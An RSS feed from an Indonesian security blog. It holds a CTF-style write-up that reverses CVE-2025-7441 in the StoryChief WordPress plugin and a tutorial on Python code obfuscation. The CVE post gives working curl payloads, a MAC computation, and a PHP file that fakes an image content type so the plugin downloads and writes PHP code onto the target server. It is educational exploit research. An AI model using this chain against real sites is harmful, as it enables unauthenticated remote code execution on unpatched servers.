<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Reverse Engineering Arsip - Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/category/reverse-engineering/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/category/reverse-engineering/</link>
	<description></description>
	<lastBuildDate>Fri, 29 Aug 2025 17:27:39 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>Reverse Engineering Arsip - Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/category/reverse-engineering/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WordPress CVE reversing</title>
		<link>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/</link>
					<comments>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sat, 23 Aug 2025 10:14:01 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[web exploitation]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=587</guid>

					<description><![CDATA[<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-97e86da769475e9baa7b7a29aa42309b"><code>*CVE Reversing Challenge*
host: http://143.198.193.102/
Level: Up to you!!

Task ? 
Baru baru ini sekitar 5 hari lalu, wordfence mempublikasikan suatu CVE pada plugin wordpress _storychief_ yang dimana kerentanan pada CVE ini berada pada score 9.8 atau sangat critical karena attacker bisa melakukan arbitrary file write/upload dengan status unauthenticated yang dapat mengarah ke RCE. Tugas kalian yaitu membuat suatu script PoC sendiri dengan melakukan research, diffing dan reversing pada source code di plugin ini. Jangan buang buang waktu untuk mencari script exploit/PoC di internet karena tidak ada satupun sumber yang mempublikasikan PoC pada CVE ini, karena tergolong masih baru. 

Biar tambah semangat, untuk yang solve first blood akan mendapat hadiah 100K dan semoga berhasill.

solve? untuk flag ada di directory /root tapi jika kalian berhasil mendapat akses www-data saja sudah cukup, yang terpenting hasil dari PoC exploitnya bukan pada flagnya

reference CVE-2025-7441 :
https:&#47;&#47;www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66?source=cve

#HappyHacking</code></pre>



<p>pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC atau exploitnya di internet. Cara satu satunya dengan melakukan research dan mencoba untuk menemukan secara mandiri.</p>



<p>Sebelum itu penting sekali untuk mengerti syntax dasar dan terbiasa menggunakan PHP dan juga sedikit perlu paham terkait struktur dari CMS wordpress. Mari kita lihat deskripsi dari CVE-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-fd012679cc49191c9f7a579a53fe233f"><code>The StoryChief plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.0.42. This vulnerability occurs through the /wp-json/storychief/webhook REST-API endpoint that does not have sufficient filetype validation. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.</code></pre>



<p>Intinya dikatakan jika plugin StoryChief pada versi dan sebelum 1.0.42 terdapat vulnerabiilty yang dimana attacker bisa melakukan arbitrary file upload melalui /wp-json/storychief/webhook, dan ngerinya lagi bug ini bisa dipicu tanpa login terlebih dahulu atau unauthenticated, nah maka dari sini kenapa CVSS score pada vulnerability ini sangat critical yaitu 9.8.</p>



<p>CVE reversing itu merupakan suatu upaya atau proses untuk membuat Proof-Of-Concept dari suatu kerentanan yang sudah diketahui(CVE) atau bisa kita sebut juga sebagai 1-day, secara umum caranya yaitu dengan melakukan patch diff(perbandingan) source code dari versi rentan dan yang sudah diperbaiki untuk melihat kerentanan yang dapat dimanfaatkan.</p>



<p>Tapi beruntungnya, tidak seperti pada vendor atau product perusahaan besar yang close source, pada wordpress sendiri melakukan CVE reversing ini masih tergolong mudah karena source code dipublikasikan ya setidaknya kita tidak perlu effort melakukan reverse engineering dan memahami di sisi low levelnya. Karena untuk melakukan patch diff pada wordpress kita bisa langsung mengunjungi <a href="https://plugins.trac.wordpress.org/ ">https://plugins.trac.wordpress.org/ </a> dan melihat perbandingan kode antar versi </p>



<p>Pada CVE ini, wordfence juga menyediakan refrensi diffing dan hal ini sangat berguna untuk kita identifikasi dan melakukan source code review</p>



<p><a href="https://plugins.trac.wordpress.org/changeset/3344874">https://plugins.trac.wordpress.org/changeset/3344874</a></p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png" alt="" class="wp-image-588" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-768x410.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image.png 1379w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini terlihat beberapa file yang diubah pada versi baru, atau dalam hal ini developer melakukan patching dari kerentanan pada CVE tersebut.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="602" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png" alt="" class="wp-image-590" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-300x176.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-768x452.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1536x904.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1.png 1586w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pada file <a href="https://plugins.trac.wordpress.org/changeset/3344874/story-chief/tags/1.0.43/includes/class.imageuploader.php">class.imageuploader.php</a>&nbsp;terdapat banyak perubahan, disini kita bisa melihat jika block merah artinya code yang dihapus dan block hijau yaitu code yang ditambahkan. pada file ini juga terdapat instansiasi CURL yang dalam hal ini kita mendapat gambaran sekilas bagaimana kerentanan terjadi.</p>



<p>Mari kita lihat source codenya secara utuh pada <a href="https://github.com/Story-Chief/wordpress/releases">https://github.com/Story-Chief/wordpress/releases</a> yang pada github ini merupakan versi 1.0.41 sedangkan patching dilakukan pada v1.0.43 jadi pada github ini masih tergolong versi rentan yang belum di patch</p>



<p>Seperti pada deskripsi yang mengatakan jika kerentanan dipicu melalui endpoint <em>/wp-json/storychief/webhook</em> jadi kata kunci penting disini ada pada webhook, yang pada plugin StoryChief juga terdapat file dengan nama <strong><em>webhook.php</em></strong></p>



<p>Disini kita bisa mulai melakukan source code review, tapi sebelum itu kita perlu tau konsep saat melakukan source code review dan tidak melakukan asal asalan. Bahkan owasp sendiri juga mempublikasikan standar guide untuk ini yaitu SAST(Static Analysis Security Testing) <a href="https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf">https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf</a> yang berisi panduan bagaimana best practice saat melakukan source code review. Agar lebih singkat, yang perlu kita pahami saat melakukan source code review yaitu &#8220;source&#8221; dan &#8220;sinks&#8221;, source merupakan dimana code yang kemungkinan terjadi kerentanan dan sinks yaitu tempat kerentanan sebenarnya terjadi.  </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="747" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png" alt="" class="wp-image-593" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-300x219.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-768x561.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4.png 1048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang pada webhook.php disini kita menemukan input yang bisa kita kontrol yaitu fungsi register_routes() yang dimana pada array &#8220;callback&#8221; memanggil fungsi handle() dan pada fungsi handle() juga terdapat json_decode() yang melakukan decode pada inputan POST kita, pada blok kode ini bisa kita katakan &#8220;source&#8221; atau sumber terjadinya kerentanan, dan untuk &#8220;sinks&#8221; kita akan mencoba identifikasi lebih lanjut </p>



<p>fungsi upload pada PHP dan wordpress sendiri kita bisa klasifikasikan sebagai berikut :</p>



<ul class="wp-block-list">
<li>potensi fungsi upload PHP 
<ul class="wp-block-list">
<li><a href="https://www.php.net/manual/en/function.move-uploaded-file.php" target="_blank" rel="noreferrer noopener"><code>move_uploaded_file</code></a></li>



<li><a href="https://www.php.net/manual/en/function.file-put-contents" target="_blank" rel="noreferrer noopener"><code>file_put_contents</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fwrite" target="_blank" rel="noreferrer noopener"><code>fwrite</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputs.php" target="_blank" rel="noreferrer noopener"><code>fputs</code></a></li>



<li><a href="https://www.php.net/manual/en/function.copy.php" target="_blank" rel="noreferrer noopener"><code>copy</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputcsv.php" target="_blank" rel="noreferrer noopener"><code>fputcsv</code></a></li>



<li><a href="https://www.php.net/manual/en/function.rename.php" target="_blank" rel="noreferrer noopener"><code>rename</code></a></li>
</ul>
</li>



<li>potensi fungsi upload WordPress 
<ul class="wp-block-list">
<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/put_contents/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::put_contents</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/move/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::move</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/copy/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::copy</code></a></li>
</ul>
</li>
</ul>



<p>Jika mengacu pada kerentanan Arbitrary File Upload, pasti salah satu fungsi diatas digunakan dan pada visual studio code kita bisa mencari pada fitur searching string</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="479" height="286" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png" alt="" class="wp-image-594" style="width:764px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png 479w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5-300x179.png 300w" sizes="auto, (max-width: 479px) 100vw, 479px" /></figure>



<p>fungsi file_put_contents() dipanggil pada file class.imageuploader.php, persis seperti pada patch diff yang kita identifikasi sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="665" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png" alt="" class="wp-image-595" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-300x195.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-768x499.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6.png 1109w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>fungsi save() disini yang memanggil file_put_contents dan juga terdapat suatu instansiasi CURL, dan asumsi awal sepertinya fungsi ini mendownload file dari URL external yang kemudian diletakkan pada directory /wp-content/uploads/ karena terdapat fungsi wp_upload_dir()</p>



<p>disini &#8220;Sinks&#8221; ditemukan pada fungsi save() yaitu fungsi file_put_contents(), nah jika kita sudah mengelompokkan seperti ini baru berfikir bagaimana dari &#8220;source&#8221; / inputan user berpindah ke &#8220;sinks&#8221; yang menjalankan fungsi file_put_contents().</p>



<p>Sekarang kita balik ke &#8220;source&#8221; dan mencoba untuk memahaminya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="718" height="371" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png" alt="" class="wp-image-597" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png 718w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8-300x155.png 300w" sizes="auto, (max-width: 718px) 100vw, 718px" /></figure>



<p>terdapat 2 validasi, pada payload json yang kita inputkan. validasi pertama yaitu <strong><em>\Storychief\Tools\validMac($payload)</em></strong> yang disini memanggil fungsi validMac pada file tools.php</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="784" height="193" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png" alt="" class="wp-image-600" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png 784w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-300x74.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-768x189.png 768w" sizes="auto, (max-width: 784px) 100vw, 784px" /></figure>



<p>Disini melakukan comparison atau perbandingan jika mac tidak sama pada payload maka gagal atau return false, jadi kira kira logic sederhananya seperti ini : </p>



<ol class="wp-block-list">
<li>kita input : payload=heker</li>



<li>maka gagal karena harus ada parameter mac</li>



<li>jadi harusnya gini: payload=heker&amp;mac=123</li>



<li>ini juga tidak valid karena mac tidak sama</li>



<li>tapi disana ada unset($payload[&#8216;meta&#8217;][&#8216;mac&#8217;]);</li>



<li>artinya mac diambil atau hasil payload=heker yang dihash sha256</li>



<li>jadi kita perlu hash sha256 pada &#8220;payload=heker&#8221; dan digunakan untuk mac</li>
</ol>



<p>Semoga bisa dipahami, jadi kita kecualikan untuk macnya dan lanjut susun payloadnya tanpa mac terlebih dulu.</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-82f6112c2707897ae94f96979b9a6192"><code>if (! isset($payload&#91;'meta']&#91;'event'])) {
        return new WP_Error('no_event_type', 'The event is not set', &#91;'status' =&gt; 400]);
    }

//code lain
... 
...

switch ($payload&#91;'meta']&#91;'event']) {
        case 'publish':
            $response = handlePublish($payload);
            break;
        case 'update':
            $response = handleUpdate($payload);
            break;
        case 'delete':
            $response = handleDelete($payload);
            break;
        case 'test':
            $response = handleConnectionCheck($payload);
            break;
        default:
            $response = missingMethod();
            break;
    }</code></pre>



<p>validasi kedua ada <strong><em>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</em></strong> yang kemudian dilakukan switch case ya, yang jika kita isi <em><strong>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</strong></em> publish maka akan menuju ke fungsi <strong><em>handlePublish()</em></strong> dan kira kira seperti ini payloadnya </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-af10263faf96514c77ca86b97c0262d1"><code>curl -d '{"meta": {"event" : "publish"}}' http://143.198.193.102/wp-json/storychief/webhook</code></pre>



<p>Jadi kita disini asumsinya sudah menuju ke fungsi handlePublish</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="916" height="546" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png" alt="" class="wp-image-601" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png 916w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-300x179.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-768x458.png 768w" sizes="auto, (max-width: 916px) 100vw, 916px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="328" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png" alt="" class="wp-image-603" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-300x123.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-768x314.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>Diatas kita menemukan fungsi wordpress do_action yang memanggil fungsi callback <strong><em>storychief_save_featured_image_action</em></strong> yang jika kita search pada vscode, ditemukan pada file <em><strong>mapping.php</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png" alt="" class="wp-image-604" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14.png 1296w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan yap, kita menemukan fungsi yang memanggil class ImageUploader dengan method save() dan fungsi ini yang digunakan untuk upload file, jadi sekarang kita sudah mengetahui data flow terjadinya kerentanan jadi mari kita rangkai payloadnya, dan kita sesuaikan dengan validasi pada variable <em><strong>$story[&#8216;featured_image&#8217;][&#8216;data&#8217;][&#8216;sizes&#8217;][&#8216;full&#8217;]</strong></em></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-0790929f7b053f46063af2137c6e6e04"><code>{
  "meta": {
    "event": "publish"
  },
  "data": {
    "featured_image": {
      "data": {
        "sizes": {
          "full": "http://143.198.193.102:8000/cek.php"
        }
      }
    }
  }
}</code></pre>



<p>dan payloadnya akan seperti diatas, nah baru pada payload ini kita bisa meng-hasilkan hmac dengan melakukan encode dan hash ke sha256</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1009" height="560" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png" alt="" class="wp-image-606" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png 1009w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-300x167.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-768x426.png 768w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /></figure>



<p>dan setelah hmac didapatkan sekarang kita perlu menghost php file pada vps atau hosting pribadi karena nama file yang disimpan diambil dari nama path external</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-149e1c647867074d3eb4bd53660fa411"><code> <em><strong>  public function getFilename()
    {
        $filename = basename($this-&gt;url);
        $this-&gt;filename = $filename;
        return $filename;
    }</strong></em></code></pre>



<p>Juga ada sedikit restriksi, dimana content-type yang diizinkan harus image</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-bd18cafd3b09e6e53dab370ef8dba859"><code>$image_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
 if (strpos($image_type, 'image') === false) {
      return false;
 }</code></pre>



<p>dan kita bisa membypass-nya dengan membuat file php seperti ini pada vps/hosting : </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-aa05a39e5ca2226dee30e7bab81c026a"><code>&lt;?php
header("Content-Type: image/jpeg");
echo "&lt;?php phpinfo(); ?&gt;";

?&gt;</code></pre>



<p>Yang dimana akan memforce atau memaksa header jika content-type diset ke image/jpeg meskipun raw datanya merupakan plain-text, dan untuk <strong><em>echo &#8220;&lt;?php phpinfo(); ?&gt;&#8221;;</em></strong> bisa disesuaikan lagi, karena disini hanya untuk tujuan demontrasi jadi cukup memanggil phpinfo() saja</p>



<p>Kasus disini aku memakai vps dan menjalankan php webserver </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="184" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png" alt="" class="wp-image-605" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-300x54.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-768x138.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1280x231.png 1280w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15.png 1288w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terakhir payload final dan exploit akan menjadi seperti ini </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-2a8588ab4d6978bd507e695e213acdc3"><code>curl -d '{"meta": {"mac":"2ddae0879f0bdf1d1d4c86713da237d82a028482aeab7a7f3d84e1e8a3d7748d", "event" : "publish"}, "data" : {"featured_image" : {"data" : {"sizes" : {"full": "http://143.198.193.102:8000/cek.php"}}}}}' http://143.198
.193.102/wp-json/storychief/webhook</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="99" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png" alt="" class="wp-image-607" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-300x29.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-768x75.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1536x149.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17.png 1688w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan untuk melihat hasil uploadnya, kita bisa mengacu pada fungsi ini di file class.imageuploader.php</p>



<pre class="wp-block-code"><code>wp_upload_dir(date('Y/m', $this-&gt;post-&gt;post_date ? strtotime($this-&gt;post-&gt;post_date) : time()));</code></pre>



<p>yang disini memanggil date dengan parameter pertama &#8216;Y/m&#8217; artinya tahun/bulan, jadi jika sekarang tahun 2025 dan bulan 08 maka akan menjadi <strong><em>/wp-content/uploads/2025/08/cek.php</em></strong></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="517" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png" alt="" class="wp-image-608" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-768x388.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1536x776.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18.png 1756w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan exploit berhasil, untuk PoC automation lengkapnya yang ku publish di exploit-db bisa langsung kunjungi link berikut <a href="https://www.exploit-db.com/exploits/52422">https://www.exploit-db.com/exploits/52422</a> . jadi mungkin sekian itu saja dan semoga bermanfaat.</p>



<p><em><strong>“Ilmu itu cahaya, dan belajar adalah menyalakan lentera dalam kegelapan.”</strong></em> – <strong>Imam Al-Ghazali</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Python reverse engineering</title>
		<link>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 11:18:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=409</guid>

					<description><![CDATA[<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. </p>



<p>Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik kali ini kita akan membahas bagaimana melakukan reverse engineering pada python karena biasanya programmer melakukan semacam teknik packing pada source code seperti melakukan obfuscate, compile serta converting kedalam bytecode.</p>



<p>Hal yang perlu diketahui disini beberapa program python pada banyak kasus tidak bisa dikembalikan kedalam source code aslinya jika programmer melakukan compile dan serialization menjadi bytecode seperti menggunakan marshal, pyarmor ataupun menjadikannya suatu executable file tapi jika programmer hanya melakukan obfuscate pada code menggunakan fungsi semacam eval, lambda, zlib, exec besar kemungkinan kita masih bisa mendapatkan source code asli pada program.</p>



<p>Kita bisa contohkan dengan program sederhana </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c7a562dc60896b4e6a51410c0e5e6ae6"><code>import codecs

def validation(input):
        valid_input = codecs.decode("ouvarxn-grpu1336", "rot-13")
        if input == valid_input:
                return True


        return False


print("Enter valid input: ", end="")
input_user = input()

if validation(input_user):
        print("Input correct!!")
else:
        print("Input incorrect no have access!!")</code></pre>



<p>Scriptnya sangat sederhana dimana terdapat satu function untuk melakukan validasi input dengan string yang sudah dilakukan substitusi menggunakan ROT-13 lalu setelah di obfuscate menjadi seperti ini :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c1d6e1166bef409721d8c06c38086437"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));exec((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Dan jika kita run keduanya sama sama menampilkan output yang sama dan program juga berjalan dengan benar hanya saja pada code obfuscate kita tidak mengerti fungsi apa dan seperti apa source code didalamnya karena sudah dilakukan encoding dengan zlib dan base64.</p>



